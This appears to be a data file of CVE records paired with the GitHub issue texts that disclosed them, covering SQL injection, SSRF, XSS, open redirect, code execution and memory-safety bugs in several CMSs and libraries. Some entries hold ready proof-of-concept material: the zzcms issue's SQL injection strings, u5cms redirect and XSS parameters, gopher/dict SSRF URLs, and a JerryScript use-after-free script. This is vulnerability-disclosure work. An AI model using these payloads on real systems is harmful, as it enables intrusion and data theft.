CVE-2021-41403 | 2022-06-15T22:15:12.857 | flatCore-CMS version 2.0.8 calls dangerous functions, causing server-side request forgery vulnerabilities. | {
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] | 918 | https://github.com/flatCore/flatCore-CMS/issues/60 | [
"Exploit",
"Patch",
"Third Party Advisory"
] | github.com | [
"flatCore",
"flatCore-CMS"
] | **Describe the bug**
Server-side request forgery vulnerability (SSRF)
**To Reproduce**
Steps to reproduce the behavior:
1.go to 'acp/acp.php?tn=pages&sub=index'
2. Enter the intranet address in the box to request
3. Can make a request to the intranet
**Screenshots**
request packet
Locate the vulnerable code `/acp/core/pages.index.php`
The start_index parameter calls the function fc_crawler
Tracing the fc_crawler function
Locate the vulnerable code `/acp/core/functions_index.php`
Continue to track the fc_loadSourceCode function
dict protocol for request
```
dict://ip:port
```
Use gopher protocol for request
`gopher://192.168.172.114:9333/aaaaa`
Led to the SSRF vulnerability
**Desktop (please complete the following information):**
- OS: MacOS
- Browser all
- Version last version
| Server-side request forgery vulnerability (SSRF) | https://api.github.com/repos/flatCore/flatCore-CMS/issues/60/comments | 2 | 2021-09-14T02:58:17Z | 2023-01-05T10:52:14Z | https://github.com/flatCore/flatCore-CMS/issues/60 | 995,529,630 | 60 | 3,750 |
CVE-2021-41402 | 2022-06-16T10:15:08.870 | flatCore-CMS v2.0.8 has a code execution vulnerability, which could let a remote malicious user execute arbitrary PHP code. | {
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] | github.com | [
"flatCore",
"flatCore-CMS"
] | **Describe the bug**
Code execution vulnerabilities in the background
**To Reproduce**
Steps to reproduce the behavior:
1.Log in to the background
2.Go to /acp/acp.php?tn=pages&sub=new#position
3.Click info and enter the malicious php code in the Permalink parameter to jump out of the structure to execute the malicious code
4.Click save
5./content/cache/active_urls.php and /content/cache/cache_lastedit.php files will be inserted with malicious code
6.Visit the homepage and you will see that the malicious code we inserted was successfully executed and returned the result
**Screenshots**
Click Save New Page
/content/cache/active_urls.php and /content/cache/cache_lastedit.php files will be inserted with malicious code
**Desktop (please complete the following information):**
- OS: MacOS
- Browser All
- Version Last version | Code execution vulnerabilities in the background | https://api.github.com/repos/flatCore/flatCore-CMS/issues/59/comments | 1 | 2021-09-13T09:36:05Z | 2023-01-05T10:52:14Z | https://github.com/flatCore/flatCore-CMS/issues/59 | 994,669,816 | 59 | 3,751 |
CVE-2021-41458 | 2022-06-16T10:15:09.053 | In GPAC MP4Box v1.1.0, there is a stack buffer overflow at src/utils/error.c:1769 which leads to a denial of service vulnerability. | {
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] | github.com | [
"gpac",
"gpac"
] | Thanks for reporting your issue. Please make sure these boxes are checked before submitting your issue - thank you!
- [x] I looked for a similar issue and couldn't find any.
- [x] I tried with the latest version of GPAC. Installers available at http://gpac.io/downloads/gpac-nightly-builds/
- [x] I give enough information for contributors to reproduce my issue (meaningful title, github labels, platform and compiler, command-line ...).
Step to reproduce:
1.get latest commit code (GPAC version 1.1.0-DEV-rev1216-gb39aa09c0-master)
2.compile with --enable-sanitizer
3.run MP4Box -add poc.nhml -new new.mp4
Env:
Ubunut 20.04 , clang 12.0.1
ASAN report
[poc.zip](https://github.com/gpac/gpac/files/7122969/poc.zip)
```
AddressSanitizer:DEADLYSIGNAL
=================================================================
==344428==ERROR: AddressSanitizer: SEGV on unknown address (pc 0x7fcb7d118779 bp 0x7ffe1832c550 sp 0x7ffe1832c480 T0)
==344428==The signal is caused by a READ memory access.
==344428==Hint: this fault was caused by a dereference of a high value address (see register values below). Disassemble the provided pc to learn which register was used.
#0 0x7fcb7d118779 in gf_blob_get /home/lly/pro/gpac_asan/src/utils/error.c:1769:12
#1 0x7fcb7d0eb2ea in gf_fileio_from_blob /home/lly/pro/gpac_asan/src/utils/os_file.c:1287:13
#2 0x7fcb7d0eb2ea in gf_fopen_ex /home/lly/pro/gpac_asan/src/utils/os_file.c:1314:14
#3 0x7fcb7dc90328 in nhmldmx_send_sample /home/lly/pro/gpac_asan/src/filters/dmx_nhml.c:1101:9
#4 0x7fcb7dc90328 in nhmldmx_process /home/lly/pro/gpac_asan/src/filters/dmx_nhml.c:1341:7
#5 0x7fcb7dbbc997 in gf_filter_process_task /home/lly/pro/gpac_asan/src/filter_core/filter.c:2441:7
#6 0x7fcb7db9e965 in gf_fs_thread_proc /home/lly/pro/gpac_asan/src/filter_core/filter_session.c:1664:3
#7 0x7fcb7db9de60 in gf_fs_run /home/lly/pro/gpac_asan/src/filter_core/filter_session.c:1901:2
#8 0x7fcb7d6bf708 in gf_media_import /home/lly/pro/gpac_asan/src/media_tools/media_import.c:1486:2
#9 0x526ea9 in import_file /home/lly/pro/gpac_asan/applications/mp4box/fileimport.c:1289:7
#10 0x4eb996 in do_add_cat /home/lly/pro/gpac_asan/applications/mp4box/main.c:4257:10
#11 0x4e7d46 in mp4boxMain /home/lly/pro/gpac_asan/applications/mp4box/main.c:5746:13
#12 0x7fcb7c9400b2 in __libc_start_main /build/glibc-eX1tMB/glibc-2.31/csu/../csu/libc-start.c:308:16
#13 0x429a4d in _start (/home/lly/pro/gpac_asan/bin/gcc/MP4Box+0x429a4d)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV /home/lly/pro/gpac_asan/src/utils/error.c:1769:12 in gf_blob_get
==344428==ABORTING
```
| SEGV on unknown address in MP4Box at src/utils/error.c:1769 in gf_blob_get | https://api.github.com/repos/gpac/gpac/issues/1910/comments | 0 | 2021-09-07T16:19:06Z | 2021-09-09T13:04:24Z | https://github.com/gpac/gpac/issues/1910 | 990,148,297 | 1,910 | 3,752 |
CVE-2020-35597 | 2022-06-16T19:15:07.647 | Victor CMS 1.0 is vulnerable to SQL injection via c_id parameter of admin_edit_comment.php, p_id parameter of admin_edit_post.php, u_id parameter of admin_edit_user.php, and edit parameter of admin_update_categories.php. | {
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"89"
] | 89 | https://github.com/VictorAlagwu/CMSsite/issues/16 | [
"Issue Tracking",
"Third Party Advisory"
] | github.com | [
"VictorAlagwu",
"CMSsite"
] | Following parameters are vulnerable to SQL Injection. I will try to fix these vulnerabilities.
c_id parameter of admin_edit_comment.php:12 line,
p_id parameter of admin_edit_post.php:12 line,
u_id parameter of admin_edit_user.php:22 line,
edit parameter of admin_update_categories.php:10 line.
| SQL Injection vulnerabilities in different features | https://api.github.com/repos/VictorAlagwu/CMSsite/issues/16/comments | 0 | 2020-12-17T11:42:51Z | 2020-12-17T11:43:10Z | https://github.com/VictorAlagwu/CMSsite/issues/16 | 769,917,302 | 16 | 3,753 |
CVE-2020-28865 | 2022-06-16T21:15:07.763 | An issue was discovered in PowerJob through 3.2.2, allows attackers to change arbitrary user passwords via the id parameter to /appinfo/save. | {
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},
"exploitabilityScore": 3.9,
"impactScore": 3.6,
"source": "nvd@nist.gov",
"type": "Primary"
}
],
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} | [
{
"source": "cve@mitre.org",
"tags": [
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"Patch",
"Third Party Advisory"
],
"url": "https://github.com/KFCFans/PowerJob/issues/99"
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] | [
"522"
] | 522 | https://github.com/KFCFans/PowerJob/issues/99 | [
"Issue Tracking",
"Patch",
"Third Party Advisory"
] | github.com | [
"KFCFans",
"PowerJob"
] | 存在任意用户修改密码漏洞（Arbitrary password modification vulnerability）
官方试用地址：http://try.powerjob.tech/#/welcome
注册账号1：test1 / 123456
注册账号2：test2 / 123456
进入账号1：
修改用户密码：
不存在身份校验等凭证，直接可以修改用户test2的密码
这里仅存的就是id，但是由于是直接递增的，所以test2的id应该是73
最后登录成功：
| Arbitrary password modification vulnerability | https://api.github.com/repos/PowerJob/PowerJob/issues/99/comments | 1 | 2020-11-13T13:59:47Z | 2020-11-22T16:35:24Z | https://github.com/PowerJob/PowerJob/issues/99 | 742,469,368 | 99 | 3,754 |
CVE-2021-37764 | 2022-06-16T21:15:07.983 | Arbitrary File Deletion vulnerability in XOS-Shop xos_shop_system 1.0.9 via current_manufacturer_image parameter to /shop/admin/manufacturers.php. | {
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"availabilityImpact": "PARTIAL",
"baseScore": 5.5,
"confidentialityImpact": "NONE",
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"vectorString": "AV:N/AC:L/Au:S/C:N/I:P/A:P",
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},
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}
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},
"exploitabilityScore": 2.8,
"impactScore": 5.2,
"source": "nvd@nist.gov",
"type": "Primary"
}
],
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} | [
{
"source": "cve@mitre.org",
"tags": [
"Issue Tracking",
"Third Party Advisory"
],
"url": "https://github.com/XOS-Shop/xos_shop_system/issues/1"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
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],
"url": "https://github.com/XOS-Shop/xos_shop_system/issues/1"
}
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] | [
"862"
] | 862 | https://github.com/XOS-Shop/xos_shop_system/issues/1 | [
"Issue Tracking",
"Third Party Advisory"
] | github.com | [
"XOS-Shop",
"xos_shop_system"
] | Hi @hpzeller , I found a file deletion vulnerability in the admin function module
**Vulnerability Name:** Arbitrary File Deletion in Admin Panel
**Date of Discovery:** 25 July 2021
**Product version:** v1.0.9
**Vulnerability Description:** Exploiting the vulnerability allows an attacker to delete any file in the web root (along with any other file on the server that the PHP process user has the proper permissions to delete). Furthermore, an attacker can leverage the capability of arbitrary file deletion to circumvent certain webserver security mechanisms such as deleting .htaccess file that would deactivate those security constraints. | Security Bug: Arbitrary File Deletion in Admin Panel | https://api.github.com/repos/XOS-Shop/xos_shop_system/issues/1/comments | 1 | 2021-07-24T23:10:12Z | 2022-06-21T10:34:18Z | https://github.com/XOS-Shop/xos_shop_system/issues/1 | 952,162,249 | 1 | 3,755 |
CVE-2019-12352 | 2022-06-17T13:15:11.547 | An issue was discovered in zzcms 2019. There is a SQL injection Vulnerability in /dl/dl_sendmail.php (when the attacker has dls_print authority) via a dlid cookie. | {
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"availabilityImpact": "PARTIAL",
"baseScore": 6.5,
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"integrityImpact": "PARTIAL",
"vectorString": "AV:N/AC:L/Au:S/C:P/I:P/A:P",
"version": "2.0"
},
"exploitabilityScore": 8,
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"obtainAllPrivilege": false,
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"source": "nvd@nist.gov",
"type": "Primary",
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}
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},
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"impactScore": 5.9,
"source": "nvd@nist.gov",
"type": "Primary"
}
],
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} | [
{
"source": "cve@mitre.org",
"tags": [
"Exploit",
"Issue Tracking",
"Third Party Advisory"
],
"url": "https://github.com/cby234/zzcms/issues/5"
},
{
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"89"
] | 89 | https://github.com/cby234/zzcms/issues/5 | [
"Exploit",
"Issue Tracking",
"Third Party Advisory"
] | github.com | [
"cby234",
"zzcms"
] | 1. user/dls_print.php
0x01 Vulnerability (/user/dls_print.php line 51 ~ 56)
If index of ',' value in `id` parameter is not false sql will be
When we check the query there is no single quote to `id` parameter. So We can inject
any query with `id` parameter
We can find there is no security filter for `id` parameter and it means we can inject Sql query via
`id` parameter if we concat ',' value at the end of `id` parameter
0x02 payload
give below "POC" value for post data in "/user/dls_download.php"
POC : union SQL injection
menu1=%3Fb%3D123%26province%3D%26city%3D%26keyword%3D%26page_size%3D2&FileExt=
xls&sql=select+count%28*%29+as+total+from+zzcms_dl+where+classid%3D1+&chkAll=checkbox
&id%5B%5D=1) union select 1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,version(),0,1,2,3-- a,
1. user/dls_download.php
0x01 Vulnerability (/user/dls_download.php line 43 ~ 46)
If index of ',' value in `id` parameter is not false sql will be
When we check the query there is no single quote to `id` parameter. So We can inject
any query with `id` parameter
We can find there is no security filter for `id` parameter and it means we can inject Sql query via
`id` parameter if we concat ',' value at the end of `id` parameter
0x02 payload
give below "POC" value for post data in "/user/dls_download.php"
POC : union SQL injection
menu1=%3Fb%3D123%26province%3D%26city%3D%26keyword%3D%26page_size%3D2&FileExt=
xls&sql=select+count%28*%29+as+total+from+zzcms_dl+where+classid%3D1+&chkAll=checkbox
&id%5B%5D=1) union select 1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,version(),0,1,2,3-- a,
3. dl/dl_sendmail.php
0x01 Vulnerability (/dl/dl_sendmail.php line 69 ~ 73)
If index of ',' value in COOKIE[‘dlid’] parameter is bigger than 0 sql will be
When we check the query there is no single quote to COOKIE[‘dlid’] parameter. So We can inject
any query with COOKIE[‘dlid’] parameter
`n` var will get value via GET[‘n’] and if `n` var value is not 0 php does not make `dlid` COOKIE
value. So We can inject any query if we give any value without 0 via GET[‘n’] parameter
0x02 payload
give below "POC" value for cookie data in “/dl/dl_sendmail.php?n=1234"
POC : Time based sql injection
COOKIE[‘dlid’] = 1) union select sleep(3)-- a,
4. dl/dl_sendsms.php
0x01 Vulnerability (/dl/dl_sendsms.php line 73 ~ 77)
If index of ',' value in COOKIE[‘dlid’] parameter is bigger than 0 sql will be
When we check the query there is no single quote to COOKIE[‘dlid’] parameter. So We can inject
any query with COOKIE[‘dlid’] parameter
`n` var will get value via GET[‘n’] and if `n` var value is not 0 php does not make `dlid` COOKIE
Value. So We can inject any query if we give any value without 0 via GET[‘n’] parameter
0x02 payload
give below "POC" value for cookie data in “/dl/dl_sendsms.php?n=1234"
POC : Time based sql injection
COOKIE[‘dlid’] = 1) union select sleep(3)-- a,
5. admin/deluser.php
0x01 Vulnerability (/admin/deluser.php line 28 ~ 32)
If index of ',' value in `id` parameter is bigger than 0 sql will be
When we check the query there is no single quote to `id` parameter. So We can inject
any query with `id` parameter
We can find there is no security filter for `id` parameter and it means we can inject Sql query via
`id` parameter if we concat ',' value at the end of `id` parameter
0x02 payload
give below "POC" value for post data in “/admin/deluser.php "
POC : union sql injection
tablename=zzcms_main&id[0]=1) union select 1234,@@version-- a,
6. admin/dl_sendmail.php
0x01 Vulnerability (/admin/dl_sendmail.php line 32 ~ 36)
If index of ',' value in `id` parameter is bigger than 0 sql will be
When we check the query there is no single quote to `id` parameter. So We can inject
any query with `id` parameter
We can find there is no security filter for `id` parameter and it means we can inject Sql query via
`id` parameter if we concat ',' value at the end of `id` parameter
0x02 payload
give below "POC" value for post data in “/admin/dl_sendmail.php "
POC : union Time base sql injection
id[0]=1) union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,sleep(3)-- a,
7. admin/showbad.php
0x01 Vulnerability (/admin/showbad.php line 26 ~ 32)
If index of ',' value in `id` parameter is bigger than 0 sql will be
When we check the query there is no single quote to `id` parameter. So We can inject
any query with `id` parameter
We can find there is no security filter for `id` parameter and it means we can inject Sql query via
`id` parameter if we concat ',' value at the end of `id` parameter
0x02 payload
give below "POC" value for post data in “/admin/showbad.php?action=del "
POC : Time base sql injection
id[0]=2342342) || IF((1=1),sleep(3),2)-- a,
8. admin/ztliuyan_sendmail.php
0x01 Vulnerability (/admin/ztliuyan_sendmail.php line 31 ~ 36)
If index of ',' value in `id` parameter is bigger than 0 sql will be
When we check the query there is no single quote to `id` parameter. So We can inject
any query with `id` parameter
We can find there is no security filter for `id` parameter and it means we can inject Sql query via
`id` parameter if we concat ',' value at the end of `id` parameter
0x02 payload
give below "POC" value for post data in “/admin/ztliuyan_sendmail.php"
POC : union Time base sql injection
id[0]=2342342) union select 1,2,3,4,5,6,7,8,9,sleep(2)-- a,
| zzcms 2019 SQL INJECTION LIST | https://api.github.com/repos/cby234/zzcms/issues/5/comments | 1 | 2019-05-28T00:43:57Z | 2022-06-01T11:26:17Z | https://github.com/cby234/zzcms/issues/5 | 449,020,063 | 5 | 3,756 |
CVE-2021-41490 | 2022-06-17T13:15:12.197 | Memory leaks in LazyPRM.cpp of OMPL v1.5.0 can cause unexpected behavior. | {
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"ompl"
] | Here are some outputs:
#0 0x7f5dbf085532 in operator new(unsigned long)
(/usr/lib/x86_64-linux-gnu/libasan.so.2+0x99532)
#1 0x7f5dbe484b59 in ompl::base::RealVectorStateSpace::allocState() const
/ompl-main/src/ompl/base/spaces/src/RealVectorStateSpace.cpp:274
#2 0x7f5dbe3d7814 in ompl::base::StateSpace::cloneState(ompl::base::State const*) const
/ompl-main/src/ompl/base/src/StateSpace.cpp:228
#3 0x7f5dbe996993 in ompl::base::SpaceInformation::cloneState(ompl::base::State const*) const
/ompl-main/src/ompl/base/SpaceInformation.h:259
#4 0x7f5dbe996993 in ompl::geometric::LazyPRM::solve(ompl::base::PlannerTerminationCondition const&)
/ompl-main/src/ompl/geometric/planners/prm/src/LazyPRM.cpp:368
After our analysis, this crash comes from LazyPRM.cpp. In line 368/343/324 of lazyPRM.cpp, they can apply for memory space. At the same time, the freeMemory() function can release the memory. However, during our testing, the program will still run to LazyPRM.cpp: 368/343/324 (application meomory space) after the last call of freeMemory(), so the memory space is not completely released and causing memory leaks.
| Memory leaks in LazyPRM.cpp | https://api.github.com/repos/ompl/ompl/issues/833/comments | 2 | 2021-09-18T06:09:08Z | 2022-06-21T14:58:49Z | https://github.com/ompl/ompl/issues/833 | 999,932,520 | 833 | 3,757 |
CVE-2022-32442 | 2022-06-17T16:15:08.667 | u5cms version 8.3.5 is vulnerable to Cross Site Scripting (XSS). When a user accesses the default home page if the parameter passed in is http://127.0.0.1/? "Onmouseover=%27tzgl (96502)%27bad=", it can cause html injection. | {
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] | XSS vulnerability in u5cms version 8.3.5
Cross-site Scripting (XSS) refers to client-side code injection attack wherein an attacker can execute malicious scripts into a legitimate website or web application. XSS occurs when a web application makes use of unvalidated or unencoded user input within the output it generates.
When I access the default home page on the web, if the parameter passed in is `/? "Onmouseover=%27tzgl (96502)%27bad="`, it can be found that the passed in parameters appear in the href attribute of a tag in the page.
Then view the source code,you can find the entered parameters and their existence in the href attribute of the a tag
If the parameter passed in is a payload carefully constructed by the attacker, it may cause more serious HTML injection. And if possible, I strongly suggest you check more carefully whether the parameters entered by the user are legal when handling user input and output in the program.
Best wishes! | XSS vulnerability in u5cms version 8.3.5 | https://api.github.com/repos/u5cms/u5cms/issues/49/comments | 0 | 2022-06-04T01:45:49Z | 2022-08-20T05:49:31Z | https://github.com/u5cms/u5cms/issues/49 | 1,260,561,602 | 49 | 3,758 |
CVE-2022-32444 | 2022-06-17T16:15:08.710 | An issue was discovered in u5cms verion 8.3.5 There is a URL redirection vulnerability that can cause a user's browser to be redirected to another site via /loginsave.php. | {
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This script is possibly vulnerable to URL redirection attacks.
URL redirection is sometimes used as a part of phishing attacks that confuse visitors about which web site they are visiting. By modifying the parameters, the attacker can make the user jump to the phishing web page to realize the attack.
URL redirection vulnerability exists in /loginsave.php. When the user accesses the address constructed by the attacker, the web page will be redirected to the address pointed to by the parameter "u", instead of u5cms' own web page.
The payload is `/loginsave.php?u=http://xfs.bxss.me/`
When users access this URL, the browser will be redirected to `https://www.acunetix.com/vulnerability-scanner/acumonitor-technology`
Here are the HTTP request and HTTP response.
HTTP request:
```
GET /loginsave.php?u=http://xfs.bxss.me/ HTTP/1.1
Host: 192.168.116.133
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:101.0) Gecko/20100101 Firefox/101.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
```
HTTP response:
```
HTTP/1.1 302 Moved Temporarily
Date: Sat, 04 Jun 2022 03:09:40 GMT
Server: Apache/2.4.39 (Win64) OpenSSL/1.1.1b mod_fcgid/2.3.9a mod_log_rotate/1.02
X-Powered-By: PHP/5.3.29
X-XSS-Protection: 0
Set-Cookie: u=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; path=/; httponly
Set-Cookie: p=56e2526ba3e8ff31822f36a269d6434027ba5dcd; path=/; httponly
Location: [http://xfs.bxss.me?1654312181](http://xfs.bxss.me/?1654312181)
Content-Length: 0
Connection: close
Content-Type: text/html; charset=latin1
```
Eventually, the browser will be redirected to `https://www.acunetix.com/vulnerability-scanner/acumonitor-technology/`
If possible, I suggest you check whether the end of the domain name is the current domain name during the development process. If yes, the browser will jump. Otherwise, you should filter out illegal parameters.
Best wishes! | URL redirection vulnerability in u5cms v8.3.5 | https://api.github.com/repos/u5cms/u5cms/issues/50/comments | 0 | 2022-06-04T03:15:07Z | 2023-12-13T07:47:11Z | https://github.com/u5cms/u5cms/issues/50 | 1,260,599,769 | 50 | 3,759 |
CVE-2022-34000 | 2022-06-19T20:15:08.243 | libjxl 0.6.1 has an assertion failure in LowMemoryRenderPipeline::Init() in render_pipeline/low_memory_render_pipeline.cc. | {
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"libjxl",
"libjxl"
] | ## desc
There is a assert failure in libjxl before version 0.6.1 that could cause deny of service attack.
## asan output
```
./lib/jxl/render_pipeline/low_memory_render_pipeline.cc:312: JXL_ASSERT: first_image_dim_stage_ == stages_.size() || i >= first_image_dim_stage_
#0 0x558c6d05047e in __sanitizer_print_stack_trace /fuzz/fuzzdeps/llvm-project-11.0.0/compiler-rt/lib/asan/asan_stack.cpp:86:3
#1 0x7fd128ed84b8 in jxl::Abort() /libjxl/SRC/lib/jxl/base/status.h:132:3
#2 0x7fd12976cc2b in jxl::LowMemoryRenderPipeline::Init() /libjxl/SRC/lib/jxl/render_pipeline/low_memory_render_pipeline.cc:311:9
#3 0x7fd12978248d in jxl::RenderPipeline::Builder::Finalize(jxl::FrameDimensions) && /libjxl/SRC/lib/jxl/render_pipeline/render_pipeline.cc:91:8
#4 0x7fd1293a62af in jxl::PassesDecoderState::PreparePipeline(jxl::ImageBundle*, jxl::PassesDecoderState::PipelineOptions) /libjxl/SRC/lib/jxl/dec_cache.cc:198:40
#5 0x7fd1293c5964 in jxl::FrameDecoder::ProcessSections(jxl::FrameDecoder::SectionInfo const*, unsigned long, jxl::FrameDecoder::SectionStatus*) /libjxl/SRC/lib/jxl/dec_frame.cc:775:5
#6 0x7fd1295aa44a in jxl::(anonymous namespace)::JxlDecoderProcessCodestream(JxlDecoderStruct*, unsigned char const*, unsigned long) /libjxl/SRC/lib/jxl/decode.cc:1555:27
#7 0x7fd1295aa44a in HandleBoxes(JxlDecoderStruct*) /libjxl/SRC/lib/jxl/decode.cc:2079:11
#8 0x7fd1295a25da in JxlDecoderProcessInput /libjxl/SRC/lib/jxl/decode.cc:2251:29
#9 0x558c6d07ed4a in DecodeJpegXlOneShot(unsigned char const*, unsigned long, std::vector<float, std::allocator<float> >*, unsigned long*, unsigned long*, std::vector<unsigned char, std::allocator<unsigned char> >*) /libjxl/SRC/examples/decode_oneshot.cc:58:31
#10 0x558c6d080317 in main /libjxl/SRC/examples/decode_oneshot.cc:233:8
#11 0x7fd12892b082 in __libc_start_main /build/glibc-SzIz7B/glibc-2.31/csu/../csu/libc-start.c:308:16
#12 0x558c6cfa152d in _start (/libjxl/fuzzrun/decode_oneshot+0x1f52d)
[1] 888096 illegal hardware instruction ./decode_oneshot /tmp/poc /dev/null /dev/null
```
## reproduce
* compile libjxl with address sanitizer
* run `./decode_oneshot ./poc /dev/null /dev/null` | Assert failure in jxl::LowMemoryRenderPipeline::Init | https://api.github.com/repos/libjxl/libjxl/issues/1477/comments | 10 | 2022-06-06T08:27:22Z | 2022-09-26T08:10:29Z | https://github.com/libjxl/libjxl/issues/1477 | 1,261,520,060 | 1,477 | 3,761 |
CVE-2021-41682 | 2022-06-20T14:15:08.947 | There is a heap-use-after-free at ecma-helpers-string.c:1940 in ecma_compare_ecma_non_direct_strings in JerryScript 2.4.0 | {
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###### JerryScript revision
3bcd48f
###### Build platform
Ubuntu 20.04.2 LTS (Linux 5.11.0-25-generic x86_64)
###### Build steps
```
./tools/build.py --clean --debug --compile-flag=-fsanitize=address \
--compile-flag=-m32 --compile-flag=-fno-omit-frame-pointer \
--compile-flag=-fno-common --compile-flag=-g --strip=off \
--system-allocator=on --logging=on --linker-flag=-fuse-ld=gold \
--error-messages=on --profile=es2015-subset --stack-limit=20
```
###### Test case
```
var a = new Int32Array(256);
try {
a.sort(function() {
var o = new Proxy(this, {
has: print,
get: function() {
a = true;
return 30;
}
});
var result = "";
for (var p in o)
result += o[p];
});
assert(false);
} catch (e) {
assert(e instanceof TypeError);
}
```
###### Output
```
[object Object] gc
[object Object] print
[object Object] resourceName
[object Object] createRealm
[object Object] a
=================================================================
==31426==ERROR: AddressSanitizer: heap-use-after-free on address 0xf50009d4 at pc 0x5666cddf bp 0xffd046c8 sp 0xffd046b8
READ of size 4 at 0xf50009d4 thread T0
#0 0x5666cdde in ecma_compare_ecma_non_direct_strings /home/jerryscript/jerry-core/ecma/base/ecma-helpers-string.c:1940
#1 0x5666cdde in ecma_string_compare_to_property_name /home/jerryscript/jerry-core/ecma/base/ecma-helpers-string.c:1809
#2 0x5668600f in ecma_property_hashmap_find /home/jerryscript/jerry-core/ecma/base/ecma-property-hashmap.c:396
#3 0x56677d38 in ecma_find_named_property /home/jerryscript/jerry-core/ecma/base/ecma-helpers.c:693
#4 0x566c34f9 in ecma_op_object_find_own /home/jerryscript/jerry-core/ecma/operations/ecma-objects.c:701
#5 0x566c3a26 in ecma_op_object_find /home/jerryscript/jerry-core/ecma/operations/ecma-objects.c:850
#6 0x56795f09 in ecma_op_object_bound_environment_resolve_reference_value /home/jerryscript/jerry-core/ecma/operations/ecma-reference.c:238
#7 0x567967b0 in ecma_op_resolve_reference_value /home/jerryscript/jerry-core/ecma/operations/ecma-reference.c:387
#8 0x56737821 in vm_loop /home/jerryscript/jerry-core/vm/vm.c:1098
#9 0x5675555e in vm_execute /home/jerryscript/jerry-core/vm/vm.c:5231
#10 0x56755bf1 in vm_run /home/jerryscript/jerry-core/vm/vm.c:5338
#11 0x567348f1 in vm_run_global /home/jerryscript/jerry-core/vm/vm.c:305
#12 0x56641ca6 in jerry_run /home/jerryscript/jerry-core/api/jerry.c:592
#13 0x5663a132 in main /home/jerryscript/jerry-main/main-jerry.c:173
#14 0xf75c5ee4 in __libc_start_main (/lib32/libc.so.6+0x1eee4)
#15 0x56639324 in _start (/home/jerryscript/build/bin/jerry+0x1d324)
0xf50009d4 is located 4 bytes inside of 20-byte region [0xf50009d0,0xf50009e4)
freed by thread T0 here:
#0 0xf79c8814 in __interceptor_free (/lib32/libasan.so.5+0x113814)
#1 0x566ec245 in jmem_heap_free_block_internal /home/jerryscript/jerry-core/jmem/jmem-heap.c:477
#2 0x566ec384 in jmem_heap_free_block /home/jerryscript/jerry-core/jmem/jmem-heap.c:691
#3 0x56755e06 in ecma_dealloc_string_buffer /home/jerryscript/jerry-core/ecma/base/ecma-alloc.c:236
#4 0x56669ddb in ecma_destroy_ecma_string /home/jerryscript/jerry-core/ecma/base/ecma-helpers-string.c:1011
#5 0x566698c7 in ecma_deref_ecma_string_non_direct /home/jerryscript/jerry-core/ecma/base/ecma-helpers-string.c:949
#6 0x56674f32 in ecma_free_value /home/jerryscript/jerry-core/ecma/base/ecma-helpers-value.c:1140
#7 0x5673251e in vm_stack_context_abort /home/jerryscript/jerry-core/vm/vm-stack.c:154
#8 0x567338fc in vm_stack_find_finally /home/jerryscript/jerry-core/vm/vm-stack.c:460
#9 0x56753a8a in vm_loop /home/jerryscript/jerry-core/vm/vm.c:4899
#10 0x5675555e in vm_execute /home/jerryscript/jerry-core/vm/vm.c:5231
#11 0x56755bf1 in vm_run /home/jerryscript/jerry-core/vm/vm.c:5338
#12 0x566b6029 in ecma_op_function_call_simple /home/jerryscript/jerry-core/ecma/operations/ecma-function-object.c:1130
#13 0x566b6d44 in ecma_op_function_call /home/jerryscript/jerry-core/ecma/operations/ecma-function-object.c:1370
#14 0x56696f43 in ecma_builtin_typedarray_prototype_sort_compare_helper /home/jerryscript/jerry-core/ecma/builtin-objects/typedarray/ecma-builtin-typedarray-prototype.c:1103
#15 0x5676ecf0 in ecma_builtin_helper_array_merge_sort_bottom_up /home/jerryscript/jerry-core/ecma/builtin-objects/ecma-builtin-helpers-sort.c:48
#16 0x5676ef2a in ecma_builtin_helper_array_merge_sort_helper /home/jerryscript/jerry-core/ecma/builtin-objects/ecma-builtin-helpers-sort.c:111
#17 0x56697594 in ecma_builtin_typedarray_prototype_sort /home/jerryscript/jerry-core/ecma/builtin-objects/typedarray/ecma-builtin-typedarray-prototype.c:1180
#18 0x5669b416 in ecma_builtin_typedarray_prototype_dispatch_routine /home/jerryscript/jerry-core/ecma/builtin-objects/typedarray/ecma-builtin-typedarray-prototype.c:1872
#19 0x5669154d in ecma_builtin_dispatch_routine /home/jerryscript/jerry-core/ecma/builtin-objects/ecma-builtins.c:1454
#20 0x566917e2 in ecma_builtin_dispatch_call /home/jerryscript/jerry-core/ecma/builtin-objects/ecma-builtins.c:1486
#21 0x566b6394 in ecma_op_function_call_native /home/jerryscript/jerry-core/ecma/operations/ecma-function-object.c:1194
#22 0x566b6d63 in ecma_op_function_call /home/jerryscript/jerry-core/ecma/operations/ecma-function-object.c:1374
#23 0x5673673a in opfunc_call /home/jerryscript/jerry-core/vm/vm.c:799
#24 0x567555c3 in vm_execute /home/jerryscript/jerry-core/vm/vm.c:5237
#25 0x56755bf1 in vm_run /home/jerryscript/jerry-core/vm/vm.c:5338
#26 0x567348f1 in vm_run_global /home/jerryscript/jerry-core/vm/vm.c:305
#27 0x56641ca6 in jerry_run /home/jerryscript/jerry-core/api/jerry.c:592
#28 0x5663a132 in main /home/jerryscript/jerry-main/main-jerry.c:173
#29 0xf75c5ee4 in __libc_start_main (/lib32/libc.so.6+0x1eee4)
previously allocated by thread T0 here:
#0 0xf79c8c17 in __interceptor_malloc (/lib32/libasan.so.5+0x113c17)
#1 0x566ec041 in jmem_heap_alloc /home/jerryscript/jerry-core/jmem/jmem-heap.c:254
#2 0x566ec0b1 in jmem_heap_gc_and_alloc_block /home/jerryscript/jerry-core/jmem/jmem-heap.c:291
#3 0x566ec13e in jmem_heap_alloc_block /home/jerryscript/jerry-core/jmem/jmem-heap.c:324
#4 0x56755de3 in ecma_alloc_string_buffer /home/jerryscript/jerry-core/ecma/base/ecma-alloc.c:222
#5 0x566661cc in ecma_new_ecma_string_from_utf8_buffer /home/jerryscript/jerry-core/ecma/base/ecma-helpers-string.c:264
